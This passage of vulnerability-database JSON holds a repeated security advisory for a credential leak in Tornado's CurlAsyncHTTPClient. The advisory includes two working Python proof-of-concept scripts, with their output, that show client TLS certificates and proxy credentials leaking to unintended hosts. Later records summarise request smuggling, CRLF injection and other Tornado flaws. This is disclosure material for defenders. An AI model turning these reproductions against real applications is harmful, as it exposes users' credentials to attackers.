proxy_host=\"127.0.0.1\", proxy_port=proxy_a.port,\n            proxy_username=\"alice\", proxy_password=\"secretA\",\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/b\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await asyncio.sleep(0.2)\n        client.close()\n    finally:\n        proxy_a.stop()\n        proxy_b.stop()\n\n    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n    expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n    print(f\"{'request':\u003c42}{'Proxy-Authorization seen by that proxy'}\")\n    print(f\"{'-' * 42}{'-' * 40}\")\n    print(f\"{'A -\u003e proxy A (alice:secretA specified)':\u003c42}{a or '(none)'}\")\n    print(f\"{'B -\u003e proxy B (NO credentials specified)':\u003c42}{b or '(none)'}\")\n    print()\n    if b and expected in b:\n        print(f\"VERDICT: VULNERABLE — proxy B received alice's credentials \"\n              f\"({expected}) although request B specified no proxy_username.\")\n        return 0\n    print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n    return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest                                   Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -\u003e proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -\u003e proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE — proxy B received alice's credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n  of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n  options on a shared `CurlAsyncHTTPClient` — for Vector A, mixing per-request\n  `client_cert` requests with non-certificate requests; for Vector B,\n  multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n  handshake — proving possession of the private key and disclosing the\n  certificate subject and chain — to a host that was never meant to receive it.\n  For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n  different proxy. If the unintended host/proxy is attacker-controlled or\n  attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n  endpoint, or a proxy chosen from user-controlled configuration), the credential\n  is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n  with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n  affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched — see the\ncomment at lines 401-409 — so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n    curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n    curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n    ...\n    curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n    curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n    curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n    curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.","status":"published","published":"2026-06-15T20:37:24Z","modified":"2026-06-15T20:37:26Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-672"],"updated_at":"2026-11-02T14:40:28.438722Z"}],"nvd":[{"id":"CVE-2026-91992","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","status":"published","published":"2026-09-15T16:17:58.447Z","modified":"2026-09-17T16:18:32.51Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:47.668237Z"}],"osv":[{"id":"BELL-CVE-2026-91992","status":"published","published":"2026-09-18T06:06:05.110451Z","modified":"2026-10-07T07:17:00.212213581Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:28:27.164451Z"},{"id":"CVE-2026-91992","title":"Tornado before 6.5.7 Credential Leak via Handle Reuse","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","status":"published","published":"2026-09-15T15:18:33.089Z","modified":"2026-10-28T02:30:41.103724972Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:45:20.269367Z"},{"id":"DEBIAN-CVE-2026-91992","description":"Tornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.","status":"published","published":"2026-09-15T16:17:58.447Z","modified":"2026-10-01T03:03:55.446436907Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:06.410207Z"},{"id":"GHSA-pw6j-qg29-8w7f","title":"Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse","description":"# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below — a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) — both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n— `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A — client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B — proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n    curl.setopt(pycurl.PROXY, request.proxy_host)\n    curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n    if request.proxy_username:                 # only place PROXYUSERPWD is set\n        ...\n        curl.setopt(pycurl.PROXYUSERPWD, credentials)\n    ...\nelse:\n    try:\n        curl.unsetopt(pycurl.PROXY)\n    except TypeError:\n        curl.setopt(pycurl.PROXY, \"\")\n    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request's\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance — a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A — client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n    return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    cert = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(name)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n        .sign(key, hashes.SHA256())\n    )\n    return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    b = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(ca_cert.subject)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n    )\n    if ips:\n        b = b.add_extension(\n            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n            critical=False,\n        )\n    if client:\n        b = b.add_extension(\n            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n        )\n    return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n    with open(path, \"wb\") as fh:\n        fh.write(cert.public_bytes(serialization.Encoding.PEM))\n        if key is not None:\n            fh.write(key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n\nclass TLSServer:\n    def __init__(self, srv_pem, ca_pem, require):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n        self.ctx.load_cert_chain(srv_pem)\n        self.ctx.load_verify_locations(ca_pem)\n        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                s = self.ctx.wrap_socket(conn, server_side=True)\n                self.captures.append(s.getpeercert() or None)\n                try:\n                    s.recv(4096)\n                    s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n                except Exception:\n                    pass\n                s.close()\n            except Exception:\n                self.captures.append(\"handshake-failed\")\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef _cn(peer):\n    if not peer or not isinstance(peer, dict):\n        return None\n    for rdn in peer.get(\"subject\", ()):\n        for k, v in rdn:\n            if k == \"commonName\":\n                return v\n    return None\n\n\nasync def main():\n    with tempfile.TemporaryDirectory() as tmp:\n        ca_cert, ca_key = _ca()\n        s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n        ca_pem = os.path.join(tmp, \"ca.pem\")\n        s1_pem = os.path.join(tmp, \"s1.pem\")\n        s2_pem = os.path.join(tmp, \"s2.pem\")\n        cert_pem = os.path.join(tmp, \"client.crt\")\n        key_pem = os.path.join(tmp, \"client.key\")\n        _pem(ca_pem, ca_cert)\n        _pem(s1_pem, s1_cert, s1_key)\n        _pem(s2_pem, s2_cert, s2_key)\n        _pem(cert_pem, cli_cert)\n        with open(key_pem, \"wb\") as fh:\n            fh.write(cli_key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n        s1 = TLSServer(s1_pem, ca_pem, require=True)\n        s2 = TLSServer(s2_pem, ca_pem, require=False)\n        try:\n            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await clean.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/baseline\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            clean.close()\n\n            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n                client_cert=cert_pem, client_key=key_pem,\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/other-host\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await asyncio.sleep(0.2)\n            client.close()\n        finally:\n            s1.stop()\n            s2.stop()\n\n        baseline = _cn(s2.captures[0]) if s2.captures else None\n        leaked = _cn(s2.captures[1]) if len(s2.captures) \u003e 1 else None\n\n        print(f\"{'scenario':\u003c48}{'cert presented to server 2'}\")\n        print(f\"{'-' * 48}{'-' * 28}\")\n        print(f\"{'baseline: clean client, no client_cert':\u003c48}{baseline!r}\")\n        print(f\"{'exploit: reused handle (A had client_cert)':\u003c48}{leaked!r}\")\n        print()\n        print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n        print()\n        if baseline is None and leaked == \"trusted-client\":\n            print(\"VERDICT: VULNERABLE — the client certificate from request A was \"\n                  \"presented to server 2 on request B, which specified none.\")\n            return 0\n        print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` → 6.5.6, installed in the venv):\n\n```\nscenario                                        cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert          None\nexploit: reused handle (A had client_cert)      'trusted-client'\n\n(sanity) server 1 (mTLS required) saw: 'trusted-client'\n\nVERDICT: VULNERABLE — the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B — proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n    def __init__(self):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                data = b\"\"\n                while b\"\\r\\n\\r\\n\" not in data and len(data) \u003c 8192:\n                    chunk = conn.recv(2048)\n                    if not chunk:\n                        break\n                    data += chunk\n                self.captures.append(data)\n                conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n                             b\"Connection: close\\r\\n\\r\\n\")\n            except Exception:\n                pass\n            finally:\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef proxy_authz(raw):\n    head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n    for line in head.split(\"\\r\\n\"):\n        if line.lower().startswith(\"proxy-authorization:\"):\n            return line\n    return None\n\n\nasync def main():\n    proxy_a = CapturingProxy()\n    proxy_b = CapturingProxy()\n    try:\n        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/a\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_a.port,\n            proxy_username=\"alice\", proxy_password=\"secretA\",\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/b\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await asyncio.sleep(0.2)\n        client.close()\n    finally:\n        proxy_a.stop()\n        proxy_b.stop()\n\n    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n    expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n    print(f\"{'request':\u003c42}{'Proxy-Authorization seen by that proxy'}\")\n    print(f\"{'-' * 42}{'-' * 40}\")\n    print(f\"{'A -\u003e proxy A (alice:secretA specified)':\u003c42}{a or '(none)'}\")\n    print(f\"{'B -\u003e proxy B (NO credentials specified)':\u003c42}{b or '(none)'}\")\n    print()\n    if b and expected in b:\n        print(f\"VERDICT: VULNERABLE — proxy B received alice's credentials \"\n              f\"({expected}) although request B specified no proxy_username.\")\n        return 0\n    print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n    return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest                                   Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -\u003e proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -\u003e proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE — proxy B received alice's credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n  of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n  options on a shared `CurlAsyncHTTPClient` — for Vector A, mixing per-request\n  `client_cert` requests with non-certificate requests; for Vector B,\n  multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n  handshake — proving possession of the private key and disclosing the\n  certificate subject and chain — to a host that was never meant to receive it.\n  For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n  different proxy. If the unintended host/proxy is attacker-controlled or\n  attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n  endpoint, or a proxy chosen from user-controlled configuration), the credential\n  is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n  with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n  affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched — see the\ncomment at lines 401-409 — so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n    curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n    curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n    ...\n    curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n    curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n    curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n    curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.","status":"published","published":"2026-06-15T20:37:24Z","modified":"2026-09-16T03:56:01.290461498Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-200","CWE-672"],"updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"OESA-2026-4034","title":"python-tornado security update","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.\r\n\r\nSecurity Fix(es):\n\nTornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)\n\nTornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)\n\nTornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)\n\nTornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)\n\nTornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)\n\nTornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)","status":"published","published":"2026-09-25T01:27:31Z","modified":"2026-09-25T01:45:07.403332183Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4035","title":"python-tornado security update","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.\r\n\r\nSecurity Fix(es):\n\nTornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)\n\nTornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)\n\nTornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)\n\nTornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)\n\nTornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)\n\nTornado before 6.5.7 contains a credential leak vulnerability in CurlAsyncHTTPClient where pycurl handles are reused across requests without proper state clearing. Attackers can obtain sensitive credentials by issuing requests through the same client instance, allowing TLS certificates or proxy authentication to persist across unintended requests.(CVE-2026-91992)","status":"published","published":"2026-09-25T01:27:32Z","modified":"2026-09-25T01:45:03.631271784Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4036","title":"python-tornado security update","description":"Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.\r\n\r\nSecurity Fix(es):\n\nTornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.(CVE-2023-54397)\n\nTornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.(CVE-2024-14029)\n\nTornado before 6.4.1 contains a CRLF injection vulnerability in CurlAsyncHTTPClient that fails to reject carriage return and line feed characters in request headers. Attackers can inject CRLF sequences into header values to inject arbitrary headers or construct entirely new HTTP requests.(CVE-2024-58384)\n\nTornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.(CVE-2026-91990)\n\nTornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to set_cookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.(CVE-2026-91991)\n\nTornado before 